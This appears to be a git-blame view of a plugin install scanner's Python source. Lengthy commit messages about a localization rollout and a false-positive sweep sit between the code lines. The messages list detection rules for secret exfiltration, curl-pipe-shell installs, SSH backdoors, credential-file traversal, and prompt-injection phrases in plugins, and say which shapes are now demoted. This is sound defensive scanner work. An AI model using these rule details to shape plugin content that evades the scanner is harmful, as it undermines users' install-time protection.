ops/wake replies * i18n(tui): wire pickers (modelPicker, activeSessionSwitcher, petPicker) * i18n(tui): wire slash core/debug/setup replies * i18n(tui): wire hubs (agents overlay/panel/controls, skills, plugins) * i18n(tui): wire slash session/topup/subscription replies * i18n(tui): wire chat bits (branding, thinking, messageLine, loaders, todo, queued, banner, entry) * i18n(tui): register t3 siblings (pickers, hubs, secure, content, chatBits) and regenerate keys * i18n(tui): wire userMessages copy through the userMessages namespace * i18n(tui): lazy-copy test for userMessages, regenerate _keys.tui.json * i18n(tui): wire session/gateway/lib text through the TUI catalog (lane t2) Adds en siblings session.ts, gatewayMsg.ts, libText.ts (namespaces session, gatewayMsg, libText) and routes user-facing literals in app/{useMainApp, useSessionLifecycle,useInputHandlers,turnController,createServerRequestHandler, setupHandoff,createGatewayEventHandler}.ts, gatewayClient displayed reasons, lib/*, domain/*, hooks/* through t()/messages(). Status-bar state values that code compares against, backend-matched strings, log lines, model-bound text, and machine 'error:' prefixes stay literal. Regenerates locales/_keys.tui.json (232 keys). * i18n: serve bundled locales/<lang>.tui.yaml under overlay/packs; TUI pack parity test; regen _keys.tui.json (1250) * i18n: translate pre-existing English stubs in bundled locales (424 leaves, 14 locales) * tui: i18n-export-en script (English templates for pack translators) * docs(i18n): bundled TUI packs are the bottom layer of the tui surface * i18n(ru): translate TUI pack * i18n(ar): translate TUI pack * i18n(es): translate TUI pack * i18n(pt): translate TUI pack * i18n(ko): translate TUI pack * i18n(de): translate TUI pack * i18n(ja): translate TUI pack * i18n(fr): translate TUI pack * i18n(tr): translate TUI pack * i18n(it): translate TUI pack * i18n(zh): translate TUI pack * i18n(zh-hant): translate TUI pack * i18n(hu): translate TUI pack * i18n(uk): translate TUI pack 1,169 missing keys translated; 81 pre-existing kept byte-identical. Parity OK missing=0 extra=0 placeholder_mismatch=0 empty=0. Deliberately identical to en: chatBits.branding.mcpSummary ({0} MCP), chatBits.thinking.agentsHint ((/agents)), session.main.voiceStt (◉ STT), session.main.voiceTtsSuffix ( [tts]), slashCmd.core.help.tuiSection (TUI), slashCmd.core.history.hermesTag (Hermes #{0}), slashCmd.debug.heapdump.heapPath (heapdump: {0}), slashCmd.debug.mem.rss (rss), subscription.stepUp.title (Remote Spending — product feature name, as in core catalog), content.faces.* (glyph-only kaomoji). * i18n(ga): translate TUI pack * i18n(af): translate TUI pack * plugin_guard: locale catalogs in language packs step down the agent-config family A translated status line such as "Updating AGENTS.md" in locales/<lang>.yaml is UI text the loader reads as a string leaf; it cannot edit a file. The bundled en.yaml itself tripped agent_config_mod at critical, making any faithful language pack uninstallable. Injection shapes keep full severity. * plugin_validate_locales: read key exports with utf-8-sig (Windows footgun lint) * i18n(relay): route relay adapter prompt copy through t(); drop dead import-bound approval header Adds platform.relay.* (5 keys) to en and all 16 bundled locales, reusing the sibling platform translations for the confirm buttons and the Other option. * ci: fix TUI import order, MDX table pipe, main's overflow-warning wording in all locales; fresh-install fixture carries the i18n kernel - ui-tui/src/i18n/en.ts: perfectionist/sort-imports (slash before slashCmd) - docs plugins/index.md: escape the | inside the provides_locales table cell (MDX parsed <id> as JSX) - display.notice.uncompressed_context_overflow: adopt main's wording (names compression.enabled: false and /compact) in en + 16 locales; the guardrail test pins that phrase - tests/scripts/test_fresh_source_install.py: the installer tail now resolves CLI text through agent.i18n, so the fixture tree carries the i18n kernel + en.yaml (not the agent runtime) * docs(desktop-plugin-sdk): double-backtick the template-literal example (MDX evaluated ${n}) * test(e2e): display.language is validated against the live language set; exclude it from the arbitrary-string set property * commands: keep the localized COMMANDS/COMMANDS_BY_CATEGORY module __getattr__ after the compat block removal * build: never write locales/_keys.*.json from the desktop/TUI builds; regenerate the committed desktop key export The desktop build regenerated locales/_keys.desktop.json in the checkout, so a hermes update that rebuilt the app left the tree dirty (Desktop update E2E: 'M locales/_keys.desktop.json'). The key exports are committed artifacts pinned to en.ts by apps/desktop/scripts/i18n-keys.test.mjs and ui-tui i18n:keys:check; builds read them, never write them. Regenerated after main's new desktop strings. * test: unbreak two main-red timing tests the PR merge-ref inherits - test_local_runtime racing fake publishes the modern state record (legacy pid-only records are rejected since 65ff3ad353; main has been red on this test since) - test_run_progress_topics ManyProgressLinesAgent waits for the first bubble instead of a fixed 0.35s, which a loaded CI runner does not always meet * chore(i18n): regenerate desktop key catalog for main's new strings (model pricing, copy changelog) * test(e2e): torture-chamber fd monitor confirms a deleted sidecar is still held before calling it a leak SQLite's WAL last-close unlinks -shm before closing its descriptor (unixShmUnmap, then unixShmPurge), so a healthy close shows a (deleted) -shm for microseconds; the 20ms poll occasionally caught that window on the short-lived opener and failed the episode. * chore(i18n): regenerate desktop key catalog for main's telemetry/consent strings * chore(i18n): regenerate desktop key catalog after main sync --------- Co-authored-by: Teknium <teknium@nousresearch.com>
2026-09-28 14:16:18 -07:00
# ── (1b) language-pack catalogs ─────────────────────────────────────────────────────────────
# ``locales/<lang>[.tui|.desktop].yaml`` in a ``provides_locales`` plugin is user-facing UI text
# the loader reads as string leaves and shows to a human; nothing in it is executed or edits a
# file, so the agent-config/hermes-config family steps down like any other prose (the bundled
# ``en.yaml`` itself matches ``updating: "... AGENTS.md"``). Injection shapes and leaked keys
# keep full severity: a pack can still carry model-directed text.
_CATALOG_STEPS_DOWN_IDS = {
"agent_config_mod", "agent_config_mod_shell", "agent_config_contract", "agent_config_ref",
"hermes_config_mod", "hermes_config_mod_shell", "hermes_config_ref",
"other_agent_config_mod", "other_agent_config_mod_shell", "other_agent_config_ref",
}
_LOCALE_CATALOG_SUFFIXES = {".yaml", ".yml"}
def is_locale_catalog(rel_path: str) -> bool:
"""A ``locales/<name>.yaml`` catalog at the plugin root."""
p = Path(rel_path)
return len(p.parts) == 2 and p.parts[0].lower() == "locales" and p.suffix.lower() in _LOCALE_CATALOG_SUFFIXES
def catalog_cap(finding: Finding) -> Optional[str]:
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
"""Stepped-down severity for a finding inside a locale catalog, else None. The agent-config family
is a translated UI STATUS STRING there (``updating: "… AGENTS.md …"``) — the pack cannot write a
file — so it caps to a note (medium), not merely one step; other shapes take the one-step prose cap."""
feat(i18n): pluggable, layered language packs across core, Desktop and TUI (#126296) * feat(i18n): layered catalogs — plugin packs and user overlay over bundled locales * feat(tui): i18n layer — en catalog, nanostore runtime, RPC pack loader, _keys.tui.json emitter ui-tui/src/i18n/: en.ts (facade over topical siblings under en/), types.ts (Translations + dotted TranslationKey derived from en), runtime.ts ($locale/ $catalog atoms, translateFrom active→en→key, pack merge with string→fn wrapping for {0}/{1} placeholders), loader.ts (display.language → i18n.catalog {lang, surface:'tui'}, English when the method is missing), useT()/useLocale() hooks, t() for non-React code. useConfigSync feeds the loader from the existing config.get full hydration. `npm run i18n:keys` writes locales/_keys.tui.json (sorted flat key list) and runs before build. * feat(plugins): provides_locales manifest field, ctx.register_locale/register_locale_dir, manifest-only language packs * chore(tui): split en catalog siblings by lane (slash sibling) * feat(plugins): validate language packs — parse, text-only, key-subset WARN against en / _keys exports * feat(tui_gateway): i18n.languages / i18n.catalog RPC + regenerated contracts * feat(config): display.language accepts any supported_languages() id, refuses unknown ids with the list * docs(i18n): language packs user guide, pluggable display.language, plugin developer section, AGENTS notes * feat(plugins): report language-pack layers in the mid-run activation summary * feat(tui): wire status bar, composer placeholders, hotkey help and approval/clarify/confirm prompts through i18n StatusRule maps compared state values (ready/running…/summoning) to catalog text at render via displayStatus(); hotkeys()/placeholder() resolve lazily so a pack that arrives after boot applies. Catalog grows to 81 keys. * feat(desktop): pluggable app locales — registry, host.i18n.registerAppLocale, backend packs, keys emitter - Locale widens to string (BundledLocale keeps the union); TRANSLATIONS stays the bundled record and every consumer resolves through the registry. - src/i18n/registry.ts: registerAppLocale(id, {endonym, rtl, translations}) layers partial packs (nested or flat dotted) over bundled/en via mergeTranslations; a string over a function-valued en entry becomes a positional {0}/{1} formatter; $appLocaleVersion bumps so translators re-render; per-source disposers + replaceAppLocaleSource for atomic swaps. - Backend packs: i18n.languages + i18n.catalog {surface:'desktop'} feed the registry as source 'backend' (method-not-found is silent); re-synced on socket open, display.language change and profile switch. A saved pack-only language is promoted once its pack registers. - SDK: host.i18n.registerAppLocale / languageOptions; ctx.i18n.registerAppLocale tracked for unload. Docs in the desktop plugin SDK guide + skill reference. - Language switcher lists bundled ∪ registered ∪ backend, endonym-only; RTL from the registry (applyDocumentLocale takes rtl). - npm run i18n:keys emits locales/_keys.desktop.json (wired into build). * i18n(cli): route /topup + /subscription copy through t() (cli.billing.*, cli.subscription.*) Module-level copy tables and modal choice tuples in cli_billing_mixin.py froze English at import, before display.language was known. They are now key tables / builder functions evaluated at call time; every user-facing line in the /usage balance block, /subscription and the five /topup screens reads the catalog. Choice VALUES stay English identifiers. Fragment-assembled status lines (Plan: … → cancels · $x left · renews …) become full templates. * i18n(gateway): exec-approval card contract + base/run/run_busy/run_inbound replies through t() - base_exec_approval: EA_* English constants stay; add ea_header_text()/ea_reason_label_text()/ ea_smart_deny_line_text()/ea_default_reason_text()/ea_action_labels()/approval_timed_out_notice() accessors; deadline + timed-out notice resolve via gateway.exec_approval.* - BasePlatformAdapter._EA_HEADER/_EA_REASON_LABEL/_EA_SMART_DENY_LINE/_EA_ACTION_LABELS become properties (adapters still shadow them with markup class attrs) - run.py: provider error replies table holds catalog keys; _CONTEXT_OVERFLOW_REPLY -> _context_overflow_reply() - run_busy/run_inbound: typed approval + slash-confirm matchers accept English ∪ approval.inputs.* (t()) - locales/en.yaml: gateway.exec_approval/busy/errors/... namespaces * i18n(cli): wire modal, loops, agent-setup mixins through t() (cli.* keys) * i18n(platforms): route Slack, Matrix and Feishu user-facing text through t() Exec-approval markup overrides (_EA_HEADER/_EA_REASON_LABEL/_EA_SMART_DENY_LINE/ _EA_ACTION_LABELS) become per-call properties over the shared gateway.exec_approval.* contract keys, so Slack's 3000-char section budget measures the resolved template. Slack _APPROVAL_DECISIONS/_CONFIRM_DECISIONS, Feishu _APPROVAL_LABEL_MAP and Matrix _EA_LEGEND/_EA_TYPED_HINT turn into key tables resolved at click time; the Matrix typed hints become whole sentences per offered tier instead of spliced fragments. Slack button labels are cut to 75 chars and select placeholders to 150 after translation; the model-facing clarify fallback answer ('choice N') stays English while the card copy localizes. locales/en.yaml gains the gateway.exec_approval.* contract keys plus the platform.shared.* / platform.slack.* / platform.matrix.* / platform.feishu.* namespaces (and the keys for the other adapters wired in follow-up commits). * i18n(gateway): run_turn / run_turn_runner / approval-settle copy through t() - status hints, proxy errors, background task notices, progress heartbeats, session info lines - tool progress chrome (tool_head/tool_pending/tool_preview/tool_verbose) shared by base.format_tool_event - run_turn_runner:1406 Chinese clarify placeholder -> gateway.clarify.native_stream_placeholder (zh text kept in zh.yaml) - _UNEXPECTED_SILENCE_REPLY/_CLARIFY_EXPIRED_NOTICE -> accessor functions * i18n(platforms): route Google Chat and Teams user-facing text through t() Google Chat clarify card, typing placeholder, orphan-card labels and the whole /setup-files reply set (module constants become platform.google_chat.setup_files.* keys resolved at reply time). The attachment-fallback notice that shipped hardcoded in Spanish is keyed with an English en value; es.yaml carries the original Spanish text for those four keys. Teams approval card header/reason use the gateway.exec_approval.* contract, _APPROVAL_LABELS becomes a key table resolved at click time, and the meeting summary writer resolves its section headings/fallbacks per render. * i18n(platforms): route LINE, WeCom, email, DingTalk, IRC and Home Assistant text through t() LINE default copy constants become catalog keys resolved in __init__ (the LINE_*_TEXT / extra.* operator overrides still win); the busy-ack bypass matcher keys on the leading emoji marker only, so it keeps firing once the gateway busy heads are localized. WeCom media size/format notices that shipped hardcoded in Chinese are keyed with English en values and zh.yaml carries the original Chinese text. DingTalk emotion bubbles resolve per send. * i18n(cli): route /model switch output and -q status lines through t() (cli.model.*, cli.single_query.*) Switch-summary labels shared with the gateway reuse gateway.model.* keys (provider/context/max-output/capabilities/prompt-caching); CLI-only variants (glyph or no-backtick forms) live under cli.model.*. The hand-padded /model usage block becomes a (form, description-key) table padded at render time so the command syntax stays fixed while descriptions translate. -q 'Error:' reuses gateway.model.error_prefix. * i18n(cli): route TUI panel/hint/placeholder copy through t() (cli.tui.*) _APPROVAL_CHOICE_LABELS and _TUI_MODAL_HINTS become key tables resolved at render time; vault/sudo panel bodies are one catalog value per panel split on newline; inline plurals use <key>_one/<key>_other. Adds the cli.* namespace (shared/tui/voice/render/subagents/dock) to locales/en.yaml. * i18n(cli): voice/wake-word CLI copy through t() (cli.voice.*) RuntimeError texts raised in _voice_start_recording are human copy (callers print {e}) and are keyed; the Termux requirement-check match stays English. Wake state ids stay internal, only their labels localize. * i18n(cli): live-work dock, subagent monitor and render copy through t() cli.subagents.* / cli.dock.* / cli.render.*; count fragments pluralize via _one/_other keys, verdict table holds keys resolved at paint time so width clipping measures the translated text. * i18n(gateway): unauthorized/pairing, voice, topics, shutdown, startup, notifications, kanban pings through t() * i18n(cli): move tips + composer placeholders into the catalog (tips.tNNN / tips.placeholder.pNN) get_random_tip()/get_random_composer_placeholder() pick a key from the English catalog (the parity baseline, probed once per process) and resolve it through t() for the active language, so language packs translate tips like any other string. Also lands the cli.* en.yaml namespace consumed by the CLI info/help/error-copy wiring in the next commit. * i18n(cli): wire chat-turn + session mixins through t(); kanban log trimmer matches t() output * test(cli): assert TUI/dock/voice copy via t(key); prove labels resolve at render time Pinned-English assertions in the approval-UI, live-work dock and voice tests now go through the catalog. New test swaps the catalog after import and checks the approval panel + hint row follow it (the reason _APPROVAL_CHOICE_LABELS and _TUI_MODAL_HINTS became key tables). * i18n(cli): route CLI info/help/error copy through t() (cli.* namespace) cli_info_mixin: /help consumes CommandDef.describe() (added to commands.py: slash.<name>.description with fallback to .description), section titles/skill/quick-command headers, /tools, /toolsets, /usage labels, /context, /whoami, /insights, /gateway status, tool-progress labels, bang-shell denials, MCP config-watch + /reload-mcp confirm/reload lines, /reload-skills, and the session-store warning all read the catalog at call time (module-level label tables became functions so the active language is honoured after startup). cli.py: worktree cleanup, tirith warning, show_config (labels re-padded at print time), quick/plugin/skill slash-command errors, ambiguous-command hint, stdin error, gateway start, profile warning. cli_chat_error_copy / cli_unknown_command / cli_output / cli_init_mixin: chat error panel copy, did-you-mean lines, n-more / yes-no prompt (localized affirmative initial alongside 'y'), unknown-toolsets warning. * i18n(w1a): wire agent display/explainers/approval + slash registry/help through t() - hermes_cli/commands.py: CommandDef.describe() resolves slash.<name>.description at call time; category labels via slash.category.*; help/alias/usage suffixes via slash.shared.*; gateway_help_lines and commands_platforms/slash_exec use them. - agent/display.py: display.verb.* resolved at call time via get_tool_verb(); bridge/spinner/thinking-verb/cute-row/failure/preview/diff text via display.*. - agent/turn_explainers.py: exit-reason / persistence-cause tables become call-time lookups (explainer.exit.*, explainer.persistence.*, explainer.file_mutation.*). - agent/background_review.py, session_activity.py, context_breakdown.py, status_output.py: review summaries, iteration progress, context notices. - tools/approval.py, approval_context.py: approval.summary.*, approval.noun.*, approval.window.* pluralized keys. - gateway/slash_commands*.py: remaining raw strings (busy, whoami, platform, bundles, memory, skills, approvals, set_home, diff, update, debug, profile, heartbeat, refine, review, subgoal, loop, retry, compress codex path, save, sessions, model guard/errors, agents rows, topup, login). HISTORY_UNREADABLE keeps its English constant; callers use history_unreadable() -> gateway.shared.history_unreadable. - locales/en.yaml: new approval/display/explainer/slash blocks + gateway leftovers. * i18n(telegram): route adapter chat copy through t() Approval card (header/reason/smart-deny as HTML-escaped properties), inline button labels, callback toasts (cut at Telegram's 200-char cap), model/choice pickers, clarify/update/slash-confirm prompts, gmail-triage labels and the inbound-media failure notice now come from the catalog. _UNAUTHORIZED is a lazy _unauthorized() so the import no longer binds a language. The command menu carries a language+payload fingerprint (forum scopes re-register on change) and BotCommand descriptions are cut at 256. Adds gateway.exec_approval.* (WAVE2 contract), platform.telegram.*, platform.discord.* and the slash.*.description keys the Discord table shares with the CLI registry to locales/en.yaml. * i18n(gateway/platforms): whatsapp_cloud, yuanbao, weixin, signal, api_server copy through t() - whatsapp_cloud: clarify list/buttons, approve/deny + slash-confirm labels via platform.whatsapp.* (t()-then-truncate at 20/24/72 caps); _EA_HEADER becomes a property wrapping ea_header_text() - yuanbao: SLOW_RESPONSE_MESSAGE -> slow_response_message() (platform.yuanbao.slow_response_notice; zh keeps the original text); cron-wrapper markers centralized as module constants for strip_cron_wrapper - api_server: PROVIDER_AUTH_FAILED_LABEL/PROVIDER_RATE_LIMITED_LABEL stay English for run.py matchers; user_text() renders via t() - signal/_format_wait, weixin voice caption, openai_routes transformed notice - run_turn: second _UNEXPECTED_SILENCE_REPLY consumer -> accessor * i18n(discord): route adapter chat copy through t() Native slash-command table becomes _NATIVE_SLASH_COMMAND_SPECS holding catalog keys; _native_slash_commands() resolves descriptions, parameter descriptions and Choice names for the active language, each cut at Discord's 100-char cap, and the app-command sync fingerprint now includes get_language() so a display.language change re-syncs. Exec-approval card (gateway.exec_approval.* contract), slash-confirm / clarify / update views, model+choice pickers, thread creation, forum titles, voice acks, the response-truncation notice, the unauthorized-slash security alert and the media upload-size notices all read from platform.discord.*. Decorator-declared button labels are relabelled in __init__ (80-char cap); embed titles cut at 256, select placeholders at 150, option label/description at 100. _UNAUTHORIZED is a lazy _unauthorized(). * i18n(cli): wire status-bar, stream, terminal mixins + terminal_input through t(); rename kwargs that shadow t(key) * i18n: wire hermes_cli/cli_commands_mixin.py slash-command copy through t() - 431 new leaves under cli.commands.<cmd>.* in locales/en.yaml; 12 rows reuse existing gateway.* keys (rollback, diff, resume, branch, btw, model, reasoning) via a _gt() helper so CLI and gateway replies stay identical. - Module-level English tables (_BUSY_MODE_*, _REASONING_TOGGLES, _HATCH_PROGRESS, _DIFF_LABELS, _LOCAL_ENGINE_LINES) become call-time catalog lookups keyed by id. - Verb tables (Enabling/Disabling, Paused/Resumed/Triggered, planned/done, Updating/Generating) are one full template per variant; plurals use <key>_one/<key>_other via _tn(); hand-padded column labels (/snapshot list) translate the value and re-pad at the call site. - Multi-line usage blocks are single catalog values split with _lines(). - Model-facing system notes and DB-stored reasons stay English (EXCLUDED). * tests: assert /handoff, /worktree, /login CLI copy via t(key) instead of pinned English * test(i18n): pin Telegram/Discord adapter catalog wiring Lazy unauthorized notice, exec-approval contract keys, HTML escaping before Telegram <b> wrapping, 200-char toast / 256-char BotCommand caps, Discord 100-char app-command text and 80-char button caps, and language-bearing command-menu fingerprints on both platforms. * i18n: reconcile cli.shared on/off vs enabled/disabled after lane merge * i18n: describe() in TUI-gateway slash listings; localize TUI exit resume hint * i18n(tr): translate bundled catalog + tui pack * i18n(ja): translate bundled catalog + tui pack * i18n(ko): translate bundled catalog + tui pack * i18n(zh): translate bundled catalog + tui pack * i18n(fr): translate bundled catalog + tui pack * i18n(af): translate bundled catalog + tui pack * i18n(uk): translate bundled catalog + tui pack * i18n(ar): translate bundled catalog + tui pack * i18n(pt): translate bundled catalog + tui pack * i18n(it): translate bundled catalog + tui pack * i18n(es): translate bundled catalog + tui pack * i18n(zh-hant): translate bundled catalog + tui pack * i18n(ru): translate bundled catalog + tui pack * i18n(hu): translate bundled catalog + tui pack * i18n(hu): translate pre-existing English-valued leftovers (kanban wake, /context, /status, fast labels) * i18n(de): translate bundled catalog + tui pack * i18n(ga): translate bundled catalog + tui pack * test(i18n): fixture matches _normalize_lang(lang, home) signature * i18n(tui): scaffold userMessages/slashCmd en siblings * i18n(tui): wire secure prompts + content tables * feat(tui): i18n — wire billing, subscription, connection-setup and journey overlays Adds en siblings billing.ts / subscription.ts / connection.ts (namespaces billing, subscription, connection, journey) and routes every user-facing literal in billingOverlay, subscriptionOverlay, connectionSetupOverlay and journey through useT()/messages(). Module-level label tables became lazy (scopeStillDeniedResult(), verbOf(T, action)); auto-reload rows dispatch on stable ids instead of label text. Regenerates locales/_keys.tui.json. * i18n(tui): wire slash ops/wake replies * i18n(tui): wire pickers (modelPicker, activeSessionSwitcher, petPicker) * i18n(tui): wire slash core/debug/setup replies * i18n(tui): wire hubs (agents overlay/panel/controls, skills, plugins) * i18n(tui): wire slash session/topup/subscription replies * i18n(tui): wire chat bits (branding, thinking, messageLine, loaders, todo, queued, banner, entry) * i18n(tui): register t3 siblings (pickers, hubs, secure, content, chatBits) and regenerate keys * i18n(tui): wire userMessages copy through the userMessages namespace * i18n(tui): lazy-copy test for userMessages, regenerate _keys.tui.json * i18n(tui): wire session/gateway/lib text through the TUI catalog (lane t2) Adds en siblings session.ts, gatewayMsg.ts, libText.ts (namespaces session, gatewayMsg, libText) and routes user-facing literals in app/{useMainApp, useSessionLifecycle,useInputHandlers,turnController,createServerRequestHandler, setupHandoff,createGatewayEventHandler}.ts, gatewayClient displayed reasons, lib/*, domain/*, hooks/* through t()/messages(). Status-bar state values that code compares against, backend-matched strings, log lines, model-bound text, and machine 'error:' prefixes stay literal. Regenerates locales/_keys.tui.json (232 keys). * i18n: serve bundled locales/<lang>.tui.yaml under overlay/packs; TUI pack parity test; regen _keys.tui.json (1250) * i18n: translate pre-existing English stubs in bundled locales (424 leaves, 14 locales) * tui: i18n-export-en script (English templates for pack translators) * docs(i18n): bundled TUI packs are the bottom layer of the tui surface * i18n(ru): translate TUI pack * i18n(ar): translate TUI pack * i18n(es): translate TUI pack * i18n(pt): translate TUI pack * i18n(ko): translate TUI pack * i18n(de): translate TUI pack * i18n(ja): translate TUI pack * i18n(fr): translate TUI pack * i18n(tr): translate TUI pack * i18n(it): translate TUI pack * i18n(zh): translate TUI pack * i18n(zh-hant): translate TUI pack * i18n(hu): translate TUI pack * i18n(uk): translate TUI pack 1,169 missing keys translated; 81 pre-existing kept byte-identical. Parity OK missing=0 extra=0 placeholder_mismatch=0 empty=0. Deliberately identical to en: chatBits.branding.mcpSummary ({0} MCP), chatBits.thinking.agentsHint ((/agents)), session.main.voiceStt (◉ STT), session.main.voiceTtsSuffix ( [tts]), slashCmd.core.help.tuiSection (TUI), slashCmd.core.history.hermesTag (Hermes #{0}), slashCmd.debug.heapdump.heapPath (heapdump: {0}), slashCmd.debug.mem.rss (rss), subscription.stepUp.title (Remote Spending — product feature name, as in core catalog), content.faces.* (glyph-only kaomoji). * i18n(ga): translate TUI pack * i18n(af): translate TUI pack * plugin_guard: locale catalogs in language packs step down the agent-config family A translated status line such as "Updating AGENTS.md" in locales/<lang>.yaml is UI text the loader reads as a string leaf; it cannot edit a file. The bundled en.yaml itself tripped agent_config_mod at critical, making any faithful language pack uninstallable. Injection shapes keep full severity. * plugin_validate_locales: read key exports with utf-8-sig (Windows footgun lint) * i18n(relay): route relay adapter prompt copy through t(); drop dead import-bound approval header Adds platform.relay.* (5 keys) to en and all 16 bundled locales, reusing the sibling platform translations for the confirm buttons and the Other option. * ci: fix TUI import order, MDX table pipe, main's overflow-warning wording in all locales; fresh-install fixture carries the i18n kernel - ui-tui/src/i18n/en.ts: perfectionist/sort-imports (slash before slashCmd) - docs plugins/index.md: escape the | inside the provides_locales table cell (MDX parsed <id> as JSX) - display.notice.uncompressed_context_overflow: adopt main's wording (names compression.enabled: false and /compact) in en + 16 locales; the guardrail test pins that phrase - tests/scripts/test_fresh_source_install.py: the installer tail now resolves CLI text through agent.i18n, so the fixture tree carries the i18n kernel + en.yaml (not the agent runtime) * docs(desktop-plugin-sdk): double-backtick the template-literal example (MDX evaluated ${n}) * test(e2e): display.language is validated against the live language set; exclude it from the arbitrary-string set property * commands: keep the localized COMMANDS/COMMANDS_BY_CATEGORY module __getattr__ after the compat block removal * build: never write locales/_keys.*.json from the desktop/TUI builds; regenerate the committed desktop key export The desktop build regenerated locales/_keys.desktop.json in the checkout, so a hermes update that rebuilt the app left the tree dirty (Desktop update E2E: 'M locales/_keys.desktop.json'). The key exports are committed artifacts pinned to en.ts by apps/desktop/scripts/i18n-keys.test.mjs and ui-tui i18n:keys:check; builds read them, never write them. Regenerated after main's new desktop strings. * test: unbreak two main-red timing tests the PR merge-ref inherits - test_local_runtime racing fake publishes the modern state record (legacy pid-only records are rejected since 65ff3ad353; main has been red on this test since) - test_run_progress_topics ManyProgressLinesAgent waits for the first bubble instead of a fixed 0.35s, which a loaded CI runner does not always meet * chore(i18n): regenerate desktop key catalog for main's new strings (model pricing, copy changelog) * test(e2e): torture-chamber fd monitor confirms a deleted sidecar is still held before calling it a leak SQLite's WAL last-close unlinks -shm before closing its descriptor (unixShmUnmap, then unixShmPurge), so a healthy close shows a (deleted) -shm for microseconds; the 20ms poll occasionally caught that window on the short-lived opener and failed the episode. * chore(i18n): regenerate desktop key catalog for main's telemetry/consent strings * chore(i18n): regenerate desktop key catalog after main sync --------- Co-authored-by: Teknium <teknium@nousresearch.com>
2026-09-28 14:16:18 -07:00
if finding.pattern_id in _CATALOG_STEPS_DOWN_IDS:
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
rank = {"low": 0, "medium": 1, "high": 2, "critical": 3}
return finding.severity if rank.get(finding.severity, 0) <= rank["medium"] else "medium"
